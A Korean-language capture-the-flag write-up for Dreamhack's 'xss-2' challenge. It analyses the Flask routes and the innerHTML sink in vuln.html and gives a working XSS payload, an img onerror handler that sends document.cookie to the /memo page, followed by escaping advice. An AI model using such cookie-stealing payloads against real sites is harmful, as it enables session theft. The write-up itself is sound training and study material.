https://dreamhack.io/wargame/challenges/268
xss-2
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역
dreamhack.io
문제
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.플래그 형식은 DH{...} 입니다.
풀이
1. 코드 분석
- /vuln
- xss-1에서는 /vuln에 접속하면 alert 경고문이 떳는데 이번에는 경고문이 뜨지 않는다. 코드가 다른 것같아서 확인을 해보았다.
# XSS-1과 다르게 구성되어있다
# get으로 사용자가 입력한 param을 바로 return하는 형태가 아니라, render_template 함수를 사용하고 있다는 것이다
# render_template 함수는 flask에서 제공하는 함수로, Jinja2 템플릿 엔진을 사용하여 HTML 템플릿 파일을 렌더링한다
# 주어진 템플릿 파일의 이름과 함께 전달된 변수나 값들을 템플릿에 적용하여 완성된 HTML을 생성하는 것이다
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
# render_template 함수를 사용하면, 전달된 템플릿 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 XSS가 발생하지 않게 됨
# 이용자가 입력한 값을 페이지에 그대로 출력하지 않는다는 것이다
# xss-1 은 /vuln 페이지에 접속시 alert가 떳다면 이번에는 <script>alert(1)</script>를 입력하더라고 XSS가 발생하지 않는다는 것을 확인 가능
- /memo
# XSS-1 문제와 동일하게 구성되어있다.
# 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력
# 사용자가 URL의 memo 파라미터에 어떤 값을 입력하는지에 따라 화면에 출력되는 값도 달라지게 된다
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
- /flag
# chech_xss 함수에서는 , 이용자가 flag에 POST로 전송한 param 값이 XSS 공격에 사용될 수 있는 값인지 아닌지 확인한다
# 이때, check_xss에서는, 이용자가 flag 페이지에 입력한 param을 포함하여 vuln페이지에 접근하는 URL을 생성
# 결과적으로, read_url 함수를 통해 vuln 페이지에 접근하는 URL과 사용자의 쿠기가 전달되는 것
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
2. 취약점 분석
xss-1는 다르게, vuln 페이지에 존재하는 innerHTML을 통해서 <script>태그로 XSS를 발생시킬 수 없는 상황
-> 다른 XSS 공격 벡터를 시도해야한다
innerHTML은 웹 개발에서 사용하는 DOM(Document Object Model)의 속성 중에 하나이다. HTML 문서의 구조나 프로그래밍적으로 조작하고자 할 때 JS를 통해 DOM을 사용한다
- var content = document.getElementById('example').innerHTML; =>읽기:요소의 내부 HTML을 가져온다
- document.getElementById('example').innerHTML = 'New Content'; => 쓰기: 요소의 내부 HTML을 변경한다
innerHTML을 사용하면 요소의 내부 HTML을 문자열로 읽거나 설정 할 수 있다. 이용자의 입력을 바탕으로 innerHTML을 설정했을때 XSS 공격에 취약할 수 있으므로 주의가 필요
vuln.html에서 소스를 보았을때 <script>아 들어가져 있는데 이 코드는 현재 페이지의 URL쿼리 문자열에서 param 파라미터 값을 추출하고, 해당 값을 페이지 내의 vuln 이라는 ID를 가진 요소의 내부 HTML로 설정하는 코드이다.
=> 파라미터의 값을 통해 "쓰기"를 수행하는 것이다.
vuln.html에 존재하는 위 같은 코드는, innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다는 취약점 발견
3. exploit
<img src="exploit.img" onerror="location.href='/memo?memo='+document.cookie">
flag 에 들어가서 위 코드를 입력하면 xss-1과 동일하게 flag 값을 준다.
4. 해결법
xss-2 문제와 같이 이용자 입력을 바탕으로 innerHTML을 설정했을때 XSS 공격에 취약할 수 있다.
사용자의 입력을 받기 전에 서버 측에서 입력값을 검증하거나 이스케이프 처리를 하는 방식등으로 사용하는 것이 좋다
이제 슬슬 어려워 지네요...ㅠㅠ